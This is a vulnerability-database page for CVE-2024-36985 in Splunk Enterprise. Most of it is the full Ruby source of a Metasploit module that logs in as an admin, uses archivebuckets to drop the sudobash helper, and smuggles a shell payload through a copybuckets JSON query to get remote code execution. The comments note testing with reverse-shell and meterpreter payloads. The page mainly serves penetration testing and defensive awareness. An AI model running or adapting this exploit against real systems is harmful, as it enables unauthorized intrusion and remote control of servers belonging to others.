Lucene search
K

📄 Splunk Enterprise 9.1.5 / 9.2.2 Remote Code Execution

🗓️ 21 Jan 2026 00:00:00Reported by Alex Hordijk, psytester, Maksim RogovType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 114 Views

Authenticated remote code execution in Splunk via the splunk_archiver app; affected: pre 9.0.10 and 9.1.2–9.1.5, 9.2.0–9.2.2.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::Splunk
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Authenticated RCE in Splunk (splunk_archiver app)',
            'Description' => %q{
              This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise (splunk_archiver application).
    
              The flaw is rooted in the unsafe use of a Splunk lookup function, specifically | copybuckets, within the splunk_archiver application,
              which ultimately leads to the execution of the helper script sudobash with attacker-controlled arguments.
    
              The affected versions include any release prior to 9.0.10, as well as versions 9.1.2 through 9.1.5 and 9.2.0 through 9.2.2.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Maksim Rogov', # Metasploit Module
              'Alex Hordijk', # Vulnerability Discovery
              'psytester' # Public Exploit
            ],
            'References' => [
              ['CVE', '2024-36985'],
              ['URL', 'https://advisory.splunk.com/advisories/SVD-2024-0705'],
              ['URL', 'https://web.archive.org/web/20240914000921/https://psytester.github.io/CVE-2024-36985_SPLUNK_RCE_PoC/'],
            ],
            'Platform' => ['unix', 'linux'],
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Splunk < 9.0.10, 9.1.5, and 9.2.2 / Unix payload',
                {
                  # Tested with cmd/unix/reverse_bash
                  # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'Payload' => {
              'BadChars' => '" '
            },
            'DefaultTarget' => 0,
            'DisclosureDate' => '2024-07-01',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Path to the Splunk App', '/']),
            OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
            OptString.new('PASSWORD', [ true, 'The password for the specified username']),
            OptString.new('SPLUNK_HOME', [true, 'Path to the Splunk home directory', '/opt/splunk/']),
            OptBool.new('CREATE_SUDOBASH', [true, 'Set to false if you are sure that sudobash exists on the target system', true]),
            OptInt.new('DELAY', [true, 'Delay in seconds to wait for sudobash to be dropped to the filesystem', 3]),
          ]
        )
      end
    
      def check
        @cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
        version = splunk_home_version(@cookie)
        if version <= Rex::Version.new('9.0.9') ||
           version.between?(Rex::Version.new('9.1.0'), Rex::Version.new('9.1.4')) ||
           version.between?(Rex::Version.new('9.2.0'), Rex::Version.new('9.2.1'))
    
          all_apps = get_apps(@cookie)
          return CheckCode::Detected("Exploitable version found: #{version}, but splunk_archiver app was not found") if !all_apps.key?('splunk_archiver')
          return CheckCode::Detected("Exploitable version found: #{version}, but splunk_archiver app is disabled") if all_apps['splunk_archiver'][:enabled] == false
    
          return CheckCode::Appears("Exploitable version found: #{version}, splunk_archiver app is enabled")
        end
    
        return CheckCode::Safe("Non-vulnerable version found: #{version}") if !version.nil?
    
        return CheckCode::Unknown('Target does not appear to be a Splunk instance')
      end
    
      # remove duplicate slashes
      def normalize_path(path)
        path.gsub(%r{/+}, '/')
      end
    
      def get_json_payload(payload)
        env_name = Rex::Text.rand_text_alpha_upper(8..16)
        provider = Rex::Text.rand_text_alphanumeric(8..16)
    
        # The payload is double-escaped because the entire JSON object must be passed as a literal string value inside the json="..." splunk query.
        {
          'vixes' => {},
          providers: {
            provider => {
              'command.arg.1' => normalize_path("#{datastore['SPLUNK_HOME']}/etc/apps/splunk_archiver/java-bin/jars/sudobash"),
              'command.arg.2' => "-c $#{env_name}",
              "env.#{env_name}" => payload
            }
          }
        }.to_json.to_json
      end
    
      def create_sudobash
        print_status('Sending sudobash create request...')
    
        query = '| archivebuckets forcerun=1'
        search(@target_app, query, @cookie)
        print_good('sudobash create request has been sent!')
    
        print_status('Sleep for 3 seconds before it is dropped on the filesystem...')
        Rex::ThreadSafe.sleep(datastore['DELAY'])
        print_good('Sleep Completed')
      end
    
      def trigger_exploit
        print_status('Sending trigger exploit request...')
    
        json_payload = get_json_payload(payload.encoded)
        query = "| copybuckets json=#{json_payload}"
    
        search(@target_app, query, @cookie)
      end
    
      def exploit
        if @cookie.nil?
          @cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
        end
    
        @target_app = get_random_app(@cookie, enabled: true)
    
        if datastore['CREATE_SUDOBASH'] == true
          create_sudobash
        end
    
        trigger_exploit
      end
    
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jan 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.18.8
EPSS0.46868
SSVC
114